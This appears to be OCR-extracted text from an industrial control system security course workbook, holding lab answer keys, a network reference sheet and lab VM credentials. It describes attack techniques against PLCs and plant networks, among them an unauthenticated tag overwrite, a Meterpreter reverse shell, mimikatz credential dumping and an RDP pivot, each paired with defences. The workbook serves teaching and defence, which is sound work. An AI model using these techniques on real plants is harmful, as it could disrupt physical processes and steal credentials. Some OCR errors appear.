vendor has tools to help scan, determine the PLC loading before attempting to run active scanning tools and how/if/where

scanning could be performed during a planned shutdown.
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Lab 2.1 -- Connect Pods to Level 3 Infrastructure

Lab 2 Answer Key
Lab2.1 - ConnectPods toLevel 3 nfrastructre |

Questions

1. What indication did you see from Studio 5000 if one of the pods are not communicating?

If you are online with the CompactLogix, you will see a flashing I/0 Ok indication.

2. If we look in the Studio 5000 CompactLogix programming environment, why are the other Pod PLC's mapped under the I/O
configuration tab?

There are two ways we can communicate with other PLC's; they are through a ladder logic Message Instruction or by using the
"Produce / Consume" method. In order to use the Produce / Consume model, we map the other PLC as remote I/0 in our I/O
tree. Mapping the other PLC as I/0 initiates a Class 1 connection to the other PLC. See Class 1 and Class 3 descriptions below.

Class 1 (Implicit)- refers to any connection that uses an RPI (Requested Packet Interval). These include I/0 and produced/
consumed connections. Another name for a class 1 message is "implicit". Implicit refers to information (source address, data
type, destination address, etc.) which is implied in the message but not contained in the message.

Class 3 (Explicit) -refers to any connection that does not use an RPI. Class 3 connections are non-time critical. Example: MSG
instruction and program upload. Another name for a class 3 message is "explicit". Explicit messages include basic
information (source address, data type, destination address, etc.) in every message, hence they are explicit.

3. What is a possible purpose of Controller-to-Controller communications?

In our labs we use Controller to Controller communications to pass recipe data and remote I/0 status. In some applications
we could also pass part genealogy data, permissive data, controller status data such as "I'm in run mode, 'm in program
mode so don't trust my live values”, etc.

Lab 2.2 -- Remote I/0

Questions

1. What are the benefits of using remote I/O being controlled over a network?

It can be less expensive from a "home run" wiring architecture where all the field device wires are run back to a central location
where the PLC is located.
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2. What are the challenges to controlling remote I/0 over a network?

There are several architectural and switch specifications that one must consider when designing a remote I/0 subsystem. One
of the first considerations should be an investigation of spanning tree algorithms supported by the switches. During a
spanning tree event, it is possible this event will cause I/0 subsystems to drop because in most cases while this event is
occurring traffic will be flooded. This can cause the remote I/0 to not receive heartbeat or data from the PLC. It's also possible
the remote I/0 block will have to process the flood of traffic, and this can cause a DoS situation for the I/0.

Another consideration is to limit the latency and jitter of the packets between the PLC and the I/0 by reducing the number of
switches placed between the PLC and the remote I/0 block. For instance, if the remote I/0 has been set to a very fast
Requested Packet Interval (RPI), then it's possible the remote I/0 will not receive communications from the PLC in a reliable
manner. It's possible if the heartbeat between the PLC and the remote I/0 occurs beyond the RPI, then the I/0 will drop.

One must also consider how the switches are going to be managed. Ideally there is a separate management network with
either a separate VLAN or even a management port is used. The goal is to separate the management traffic from real time
control data, so they are not mixed on the same VLAN. In some poorly designed systems, you can see scenario's where
remote I/0 and HMI traffic overwhelms the switch and it becomes almost impossible to get into the switch management
console to save yourself without interrupting the real time control traffic.

3. Can remote I/0 be controlled over standard Ethernet?
Yes, some. The lab systems you are working through in this section are using standard Ethernet and COTS Ethernet switches.

However, there are some applications like motion control that have stricter requirements, so vendors have modified standard
Ethernet hardware and the protocol to support the timing and repeatability (determinism) requirements.

Lab 2.3 -- Validate Functionality

Questions

1. Does your company have a validation program? If so, how often do you validate the PLC code?

The importance of a validation program is twofold. One is the abilities of the tool(s) to inspect and compare the logic and the
data. The other important aspect is that you actually use the tool(s) with some regular frequency by means of a validation
program.

2. What is the value of a comparison tool versus a hashing utility?
A hashing utility will tell you if an offline file is the same as the validated program file however, if it's different then where do
you start your investigation of what's different? It's also important to separate your comparison between the PLC code and

the data. It is possible for the PLC code to match the validated copy while critical data values like sensors limits, certain
machine specific values, etc. could have been changed to cause the process to be out of tolerance.
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3. When you ran the comparison tool, did you notice it will compare differences in hardware configurations?

It's important to understand that a system comparison should include hardware, firmware, logic and data. A comprehensive
comparison should include all the elements of system including the PLC, sensors, valves, drives, switches, routers, firewalls,

etc.

Lab 2.4 -- Network Infrastructure Configuration

Questions

1. What is the difference between forwarders and conditional forwarders?

When a name is unresolvable within the local DNS servers, Forwarders send those queries to other (internal or external) DNS
servers for resolution. Instead of forwarding all unresolvable queries to other DNS servers, conditional forwarders forward
queries to specific forwarders based on the domain name contained in the query.

2. Where was the IP address of the HMISRV resolved from?

It is important to recognize that name resolution, if used, will very between both vendors and deployments. Knowing how
name resolution is used for every system in an environment is crucial for threat detection, response and recovery. In this
deployment the IP address was resolved from the local 'Hosts' file on the client computer sometimes referred to as the
Operator Workstation or OWS for short.

3. What was the benéefit of deleting DNS forwarders?

Most ICS environments are static. The ICS Servers and Workstations are well known. By configuring a DNS forwarder, you are
providing a commonly known exfiltration path to an untrusted or unknown network. In most cases name resolution of
external domains are defined and well understood. An name resolution query to a random or not pre-defined should be
considered suspicious, blocked and sink holed for farther evaluation. The goal is to know all the domains required by the ICS
networks and configure the internal ICS DNS server with specifically known domain names.

Lab 2.5 -- Map Communications for the Environment

Questions

1. What key information is needed to make this task successful?

Both documented knowledge and access to key personnel is a necessity to discuss the relevance or criticality of each
identified asset, protocol communication. Without this information identification of this communication becomes less useful

for ICS security activities.
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2. What method could improve the effectiveness of this activity?

Depending on the operations of the ICS, some critical and noncritical communications may only appear at a specific step or
event in the operation. These events could easily be unaccounted for if the capture time is too short. A significant
improvement would be to deploy a live capture/analysis of the network segments under investigation over a reasonable
period of time with some relation to the production and maintenance cycles.

3. How could an attack use any of the communications?

An attacker postured in the Manufacturing Zone network could bypass the Pod PLC and directly interact with the Click PLC.
Considering the Click PLC has direct machine control, the attack would also have a broad range of capabilities available to
manipulate the operation of the machine. In general, it is entirely reasonable to have assets within the Manufacturing Zone
network to access the Click PLC. By disallow this access, however, will reduce the range of capabilities available to the attacker
by only manipulating the Pod PLC to achieve a desired impact to the function of the machine controlled by the Click PLC.
Keep in mind that a pivot through a compromised Pod PLC may still be possible but, conceptually, this would still increase the
level of difficulty for the attacker.

Lab 2.6 -- Configure Connections to Process Visualization

Questions

1. What is the client retrieving from the HMI Server when you selected the trend button?

Every vendor has a unique method to how their client screens operate, however, 3 fundamental things are typically required; a
set of graphics, a pointer to data location, and the connection of live or historical data. In this situation the trend graphics are
first items the client retrieves from the HMI server when the trend button is selected.

2. Is the Factory Talk Directory linked to the Domain?

Yes, but this is not always easy to determine from within the FactoryTalk Administration Console; especially when not utilizing
Domain Users. The FactoryTalk Directory will also work in a Workgroup.

3. Where is the Factory Talk Directory running?

Within this system, the centralized FactoryTalk Directory configuration is running on the server name LICSRV. Technically, the
FactoryTalk Directory is installed and running local copies of the configuration on all computers running Rockwell Automation
software. Remember that a FactoryTalk Directory is unique to the Rockwell Automation software platform and not all
installations will utilize a central FactoryTalk Directory. Because this subsystem is unique to Rockwell Automation, it is
important to understand how the features and functions of the backend subsystems operate in any vendor software platform
running within the ICS environment.
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Lab 2.7 -- PLC Device Level Attack

Questions

1. How could an attacker determine tag names that could be targeted?

Tag names can be found in many locations including system documentation, within PLC configuration files, online with
configuration tools, within OPC configurations, direct from OPC servers, within historian configurations or servers, or from
other IT databases (MSSQL, Oracle, etc.). Depending on the protocol, they can sometimes be lifted from the network traffic.
Sometimes an active Excel document or a benign, but critical, IT application may reference tag names.

2. Was any authentication used when sending the evil CIP command to overwrite the tag value? If not, why not?

No. Like many ICS protocols, standard Ethernet/IP does not operate with authentication. Newer versions of Ethernet/IP are
being released that do include some level of authentication.

3. What are some ways to detect/prevent this type of attack?

There are many ways this can be identified. With a known baseline, this new communication could be identified within the
network security monitoring system by source IP, protocol and/or source subnet. Ethernet/IP operates with vendor specific
objects that extend the standard Ethernet/IP when communicating between Rockwell Automation assets. The python module
'cpppo only uses the standard set of objects within Ethernet/IP. These two communications can be easily distinguishable
when reviewing the network traffic. This knowledge could be applied in detection / prevention methods.

Lab 2.8 -- OPC Discovery Attack

Questions

1. Why would an attacker target the OPC UA server initially?

The OPC server contains information vital for reconnaissance activities that may include the types of systems, manufacturing,
models, firmware levels, protocols in use, their running state, IP addresses and of course the list of tag names and data
values. This information coupled with network, system and P&ID drawings can assist adversaries to plan their approach to
achieve their objective.

2. What sensitive information can an attacker gain from the OPC UA server?
The type of sensitive will vary depending on the organization and control system type. However, in general all information

could be classified as sensitive. Some data may be representative of recipe values or production counts or volumes. Other
data may be directly influential to the operation through adjustments driven by external human or digital analytics.
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3. What are some ways to detect/prevent this type of attack?

An OPC UA server does have authentication and authorization capabilities utilizing certificates, however,a compromise of a
trusted server or certificate would negate this capability. Other and more common mitigations include effective network and
application architecture changes that include restricted network access to limit exposure of OPC servers and effective use of
network security monitoring utilizing established communication baselines to identify behavior change in the access of OPC

Servers.

Lab 2.9 -- Local Network MiTM Attack

Questions

1. Why can you not initially monitor network traffic between the HMI and the PLC?

Fundamentally, a network switch isolates traffic between onboard ports by using the source and destination MAC addresses
within the packets. This performance improvement mechanism prevents the flooding of all packets to all ports.

2. How would an attacker know what values to modify in transit? What information would be useful?

For one example, an attacker would likely first need to know the type of physical asset is being controlled through drawings
and documentation to determine a desired effect. Then, with a sample of monitored traffic along with offline configurations,
models and firmware levels of the HMI and PLC, an attacker could stage this in an attacker lab-controlled area to replicate the
environment to develop the attack script needed to achieve the desired effect.

3. What are some ways to detect/prevent this type of attack?

A network security monitoring program that was able to detect new assets and communications would be a good objective-
based approach. However, potential architectural improvements and network segmentation and access controls could
minimize or reduce both the attack landscape and the attack surface of the protected system thereby increasing the

effectiveness of detection tools.
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Lab 3 Answer Key
Lab3.1 - Implementing Local Frewall

Lab 3.1 -- Implementing Local Firewall

Questions

1. What was the benefit of deleting the default route?

In a simple definition, a default route is a last resort for when a route path is not preconfigured. This is useful when network
assets are regularly moved between different networks, such as laptops, and their communications between networks are
variable which cannot be easily predefined. Utilizing a default route within industrial control systems networks, however, can
be opportunistic for malicious abuse of this allowed variability. A default route could expose communications with
unexpected, and unwanted, networks and network assets. A securely desi gned industrial control systems has well engineered
and documented communications with external entities between networks thereby avoiding the necessity of default routes.

2. What is the purpose of the DMZ?

The primary purpose of the DMZ is to introduce a services sandbox within an isolated branch network off a perimeter between
2 different trust zones (or trust domains). This sandbox is meant to support secure methods to allow the sharing of data and
users between zones without providing direct accessibility from either zone.

3. How does a firewall make a DMZ possible?

Primarily it is a firewall's fundamental 'deny by default' design philosophy for all ingress and egress packets at each local port
that allows a DMZ to be inherently useful. For this to work, however, a firewall also supports other beneficial level 2 and 3
networking capabilities such switching, routing and VLANSs.

4. Where is an IDMZ located in the Purdue Model?

The IDMZ is located between level 3 and 4 in the Purdue Model. It is also sometimes referred to level 3.5.

Lab 3.2 -- Process Historian

Questions

1. What happens when the useless box is in the off position before the attack?

The weight holds steady and does not continue to rise since the process stopped as the safety mechanism provided by the
useless box provides a trip signal commanding the process to stop.
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2. What happens when the useless box is in the off position during the attack?

The weight continues to rise and process continues as the safety mechanism provided by the useless box has be

compromised and the trip signal is overridden.

Lab 3.3 -- Configure and Establish Secure Remote Access

Questions

1. Is the authentication based on the user and password only?

No. Certificates are used for device authentication, however, without a properly supported Public Key Infrastructure, this device

level authentication is not an effective.

2. Why are the host file entries required?

Because none of the environments have an ability to resolve DNS queries with each other, host files are used instead. DNS
entries of the other environments could have also been manually added to the Enterprise DNS and ICS environments, however,
the Remote Desktop Gateway server is not associated to the DNS server so host files would still need to be configured.

3. Would it be better to utilize PKI infrastructure?

Yes. A PKl infrastructure would allow the issuance, management and revocation of individually assigned Private/Public

certificates for each user and their device.

Lab 3.4 -- SMB Attack

Questions

1. What account is SMB using? Why is that so important?

Based on the account name, this is likely a privileged account used by the maintainers of the industrial control systems. It is
likely that folders used by this account may contain sensitive documentation about the ICS. It is also possible that this

account name or even password is reused on other related services.
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2. The payload used was a reverse TCP Meterpreter shell. How could you prevent this reverse connection?

Engineer network restricts to only allow known ports and destinations of traffic attempting to leave the IDMZ network. Most
Internet Edge firewalls leaving a corporate network openly allow traffic to leave the network as destinations from users within
the network are quite variable. However, traffic leaving an IDMZ, or ICS is, or should be, deterministic at least by service and

device.

3. How is mimikatz able to dump cleartext credentials?

The credentials reside in memory are encrypted instead of as a hash. Mimikatz is able to utilize the local Win32 functions
LsaProtectMemory and LsaUnprotectMemory (used to encrypt/decrypt certain areas of memory) to decrypt and display all the
user accounts and passwords in the system.

Lab 3.5 -- RDP Pivot Attack

Questions

1. What technique is demonstrated in this exercise?

This is a demonstration of a pivot attack against an DMZ.

2. Does an attacker need to RDP to the Jump Box to run the netsh command?

In general, not necessarily as the RDP service might have been exploitable or, in other systems, there may have been another
service available that could have been used. By using a RDP session as it would normally be used may help reduce the chance
of the attacker getting caught by the network security monitoring system.

3. What are some ways to detect/prevent this type of attack?

Adding multifactor to the RDP session is the most obvious item that could have been used to mitigate use of stolen account
credentials. Engineer network restricts to only allow known ports and destinations of traffic attempting to leave the ICS and
IDMZ network would prevent a reverse shell of a random port. After a thorough investigation, disabling the FTP and any other
unused service on the HMI would prevent this final attack step. Finally, detecting and responding to new service and listening
ports on perimeter servers. perimeter communications, and possibly new low-level ICS device communications.
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Lab 3.6 -- Stage 2 Attack

Questions

1. What type of troubleshooting difficulties would this type of attack create?

The interesting aspect to this specific attack is that the effect does not happen immediately. This is due to the targeted tag
value only being read on initial power up or during a PLC mode change from 'Program’ to 'Run’ as it is embedded into an
initialization file. An initialization file is not a standard configuration from a vendor but is rather a method to repeatably set a
machine to a known good start state. The correlation between ‘'what has changed' and when the effect occurs is difficult to
identify and correct.

2. While this lab sent commands directly to the CompactLogix PLC, could this attack have been accomplished by routing the
traffic through a compromised server such as the one in the previous exercise?

Absolutely, with the reverse shell enabled on the jump host, and with network access preconfigured to allow the jump host
access to the CompactLogix PLC, the same attack scripts could have been sent from outside of the local ICS network.

3. What are some ways to detect/prevent this type of attack?

A firewall could restrict network-level access to the CompactLogix PLC to only those that require communication. Putting a
firewall in front of every PLC does not make sense but strategic use for associated groups of assets is possible. As long as the
attacker is postured outside of a protected group of assets, a firewall would add difficulty to use this technique. Telemetry
network communications to many dedicated PLCs (or RTUs) over lower trust networks, such as cellular or vSAT, however, is an
example where the deployment of many individual company-owned network access controls might be warranted.

Reviewing all perimeter service access requirements to the devices within the ICS can be performed to reduce the network
locations this attack could be performed. In general, detecting and responding to new ICS perimeter communications, and if
capable, possibly new low-level ICS device communications.

© 2022 Jeffrey Shearer, Jason Dely, Tim Conway, and Chris Robinson 389



Lab 4 Answer Key
Labd1 - LocalMonitorig |

Lab 4.1 -- Local Monitoring

Questions

1. Can both CyberLens and Integrity software tools perform static and Live traffic collection and analysis?

Yes, however, some network and environmental restrictions may exist that could prevent an ability to perform continuous
collection. Additionally, collecting too much traffic may hinder the ability and effectiveness to analyze the collection.

2. Which tool performs ICS network whitelisting?

Integrity allows setting a baseline which will then present new deviations on the Integrity Dashboard.

3. What is the key capability necessary for either of these tools to work and provide value?

An ability to capture network traffic from the network segment under investigation requires the use (and approval) of an
already existing switch with port mirroring capability or an ability to add a network tap.

Lab 4.2 -- Process Environment Monitoring

Questions

1. What is the benefit of pushing the data to ELK?
ELK is an open platform that can be used to enhance querying and analyzing the data collected by Integrity. ELK allows

provides more flexibility in and an ability to provide information about multiple pieces of data from disparate sources beyond
Integrity useful for threat discovery and incident response activities.

2. Can you push multiple Integrity collectors to the same instance of ELK?

Yes. ELK is designed to consume data from multiple data sources.

3. What other data feeds can be pushed to ELK?

Other data feeds could be theoretically anything including syslogs, DNS logs, AAA records, database records, firewall logs, etc.
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Lab 4.3 -- Monitoring Tool Integration in ICS

Questions

1. Is the SiteStore server capturing traffic?

No, a second component, called the Midpoint Sensor, is responsible for capturing the traffic and relaying the associated traffic
metadata to the SiteStore. Multiple Midpoint Sensors can be deployed throughout the environment.

2. Do the analysts need access to the networks that are being monitored?

No, all the collection is performed by the Midpoint Sensor which then forwards associated traffic metadata to the SiteStore.
Analysts only need to interact with the SiteStore to analyze the network traffic monitored by the Midpoint Sensor.

3. What is the difference between the identified Threat Behaviors and the Indicators?

In simple terms, from the paper The Four Types of Threat Detection by Sergio Caltagirone and Robert M. Lee, indicators, like
I0Cs, leverage the knowledge of similar incidents with context of an adversary use of technical elements to search for the
same activity in an environment. Considering a threat tradecraft may change the use of individual technical elements, Threat
Behaviors are an abstraction away from those individual technical elements to provide a more scalable and transposable
approach in search of threat activity.

Lab 4.4 -- ICS Asset Inventory and Management

Questions

1. What firmware is running on the controllers?

The Rockwell CompactLogix controllers are running firmware version 24.013. The firmware level of the Click PLC is unknown
due to limitations of this application.

2. What model of CompactLogix is being reported?

The model of the CompactLogix is actually 1769-L18 Series B.

3. How many ‘code download' events have you seen for your pod?

The answer is entirely circumstantial based on the events that occurred before the start of class and the student activities
during the class. The Activities Summary will display the answer.
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4. Were any code downloads performed from a computer other than yours?

The answer is entirely circumstantial but reviewing the historical events show other computers.

5. How many vulnerabilities are shown as associated with the controller?

11.

Lab 4.5 -- Kiss of Death (KoD) Attack

Questions

1. Will the same make and model of PLC skew the same amount of time under the same temperature and humidity conditions?

No. Every circuit and clock will vary even in the same make and model of PLC.

2. Without a time source to correct the time skew, will a personal computer or PLC time be more likely wander further out of

sync?

The PLC will tend to wander more than a personal computer. Some of it just the cheaper hardware but it's also less likely that
a personal computer will live near an oven or out in the cold where you are likely to find a PLC living.

3. What is distance / time?

Velocity or speed. This question is to remind you that time is part of the velocity calculations and if the time isn't accurate,

then velocity cannot be accurate either.
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Network Reference Sheet

Station and Network Information

RAW
Stations
Pod 1

Pod 2
Pod 3
Pod 13

172.20.1.21 — OPC UA Server
172.20.1.10 — DNS Server

Classroom Pod Information
172.16.(pod#).2 - AB PLC
172.16.(pod#).3 - PanelView
172.16.(pod#).4 — Remote I/O

i
)

X
==

Mixing

Stations

Pod 4
Pod 5
Pod 6
Pod 14

172.20.3.(Pod# + Student#0) — Operator Workstation

— 172.30.1.(Pod# + Student#) — RDG Server

CXXE Pod Firewall Information [ §-4
172.16.(pod#).10 — Student 1 FW H
172.16.(pod#).20 — Student 2 FW

Grind

Stations

Pod 7
Pod 8
Pod 9
Pod 15

Server Information
172.20.1.20 — LICSRV
172.20.1.21 — DATASRV
172.20.1.22 — HMISRV
172.20.1.23 - HISTSRV

MM

Open in new tab

Subnet & Gateway
172.16.(pod#).1 — Gateway
255.255.255.0

— Subnet Mask

Packing
Stations

Pod 10
Pod 11
Pod 12

172.30.2 .(Pod# + Student#) — File Share

Student Kit Information
172.16.(pod#).11 — S1 Windows VM
172.16.(pod#).12 — S1 Click Plus
172.16.(pod#).13 — S1 Kali VM
172.16.(pod#).14 — S1 RELICS VM
172.16.(pod#).21 — S2 Windows VM
172.16.(pod#).22 — S2 Click Plus
172.16.(pod#).23 — S2 Kali VM
172.16.(pod#).24 — S2 RELICS VM
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Virtual Machine Credentials

The login credentials for all virtual machines used in this class are listed below for quick reference.

All login credentials are also displayed in the respective virtual machine's information panel. Below are screenshots showing the
login credentials under VMware Workstation and VMware Fusion, respectively.

.
B VIRTUAL MACHINES

B SANS_WIN10_Ent

(B ipeheeiosench ]
[T] sans.wiN1o_Ent

% SANS_WIN10_Ent v2022-07-31
C123-5

Windows 10 x84

2 Proce s @ -
4096 MB Memory Hard Disks 18.6 GB ® Snapshots O bytes ® Reclaimable

1. Windows VM
* Username: 1Cse612
* Password: 1cse12
2. RELICS VM
*Username: relics
* Password: relics
3.KalivM
*Username: root

* Password: toor
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How to Approach the Labs

The ICS612 Lab Workbook is structured to walk you throught the various team roles and skillsets to design, build, defend and
restore opertaions against various types of attacks.

To get the most out of each lab, we will step you through the different portions of the workbook. The workbook is specifically
designed to enable students from a variety of backgrounds and with different skill levels to get the most out of each lab.

Lab Background

This seciton may provide a high-level of what to expect going into the lab as well as an estimation of time required to complete
the lab.

Lab Objectives

This section is designed to help students understand the larger picture of what the objectives of the lab are meant to show or
teach. Typically the labs demonstrate an operations activity, an analytical technique or an attack to reinforce content discussed.
We strongly recommend that students quickly look over these objectives when beginning the lab.

Lab Content

The labs will reinforce the skills to navigate from fundamental PLC and HMI operations to the complexities of advanced IT and OT
security architecture and monitoring, gaining insight into how threat actors attack operations through ICS systems and
personnel. Our immersive in-classroom operations environment will help you learn the methodology needed to identify
operational vulnerabilities and build defenses through the roles of engineering, operations, red and blue teams.

The immersive in-classroom operations environment simulates the operations of a Coffee Factory. Each student will be given their
own network used to operate their own local system and connect back into the plant network with all the other student systems.
For this reason, we have a specific method used to ensure IP address conflicts are avoided and each student experience is their
own.

This is explained in throughout the workbook, but a simple example of this is shown below.
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Click to reveal an example of the method used throughout the course to determine your IP address to complete a task suchjil

as configuring your ip address.

Configure the IP Address as 172.16.AAA.12 and Gateway as 172.16.AAA.1.

Where AAA == Pod #1-15

Example

Pod 1 Student 1:

Address: 172.16.1.12
Subnet: 255.255.255.0
Gateway: 172.16.1.1

Pod 12 Student 1:

Address: 172.16.12.12
Subnet: 255.255.255.0
Gateway: 172.16.1.1

In general, we suggest that there are three ways to perform the labs. Beginner or intermediate students should generally approach
labs using the following strategy:

The course concludes day 5 with an incident response scenario in which you will investigate and recover classroom operations

utilizing the skills gained throughout the labs.

Gain familiarity: You should fully read all informaiton provided to familiarize themselves with the overall topic and techniques.
Remember that you are here to learn, not to fight your system or become confused. You will get more from the lab by following
along and mimicking what you see directly while reading the full (and sometimes lengthy) explanations.

For every lab, the takeaway section highlights what was perfromed and acheived. The takeaway section is important because
these labs will build on one another as we progress through the course.
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What's in the Media Files

The listing below describes the hierarchy of files and folders in your ISO media files.

+ /Extras/ : ClickPLC and C-More Backup and Restore Manuals.

+ /utilities/ : Tools necessary for the class.s
+ 7z2405.exe : Microsoft Windows tool to extract the Virtual Machine 7zip archives.
* Keka-1.3.8.dmg : MacOS tool to extract the Virtual Machine 7zip archives.

+ /Lab Files/:Lab files necessary for the class.

+ /Pack Unpack Videos/ : Videos to show how to pack and unpack the student kits. Useful for travelling with or shipping the
student kit after class.

+ /Virtual Machines/ ; Virtual Machines used for the class. Must use 7zip to extract before class.
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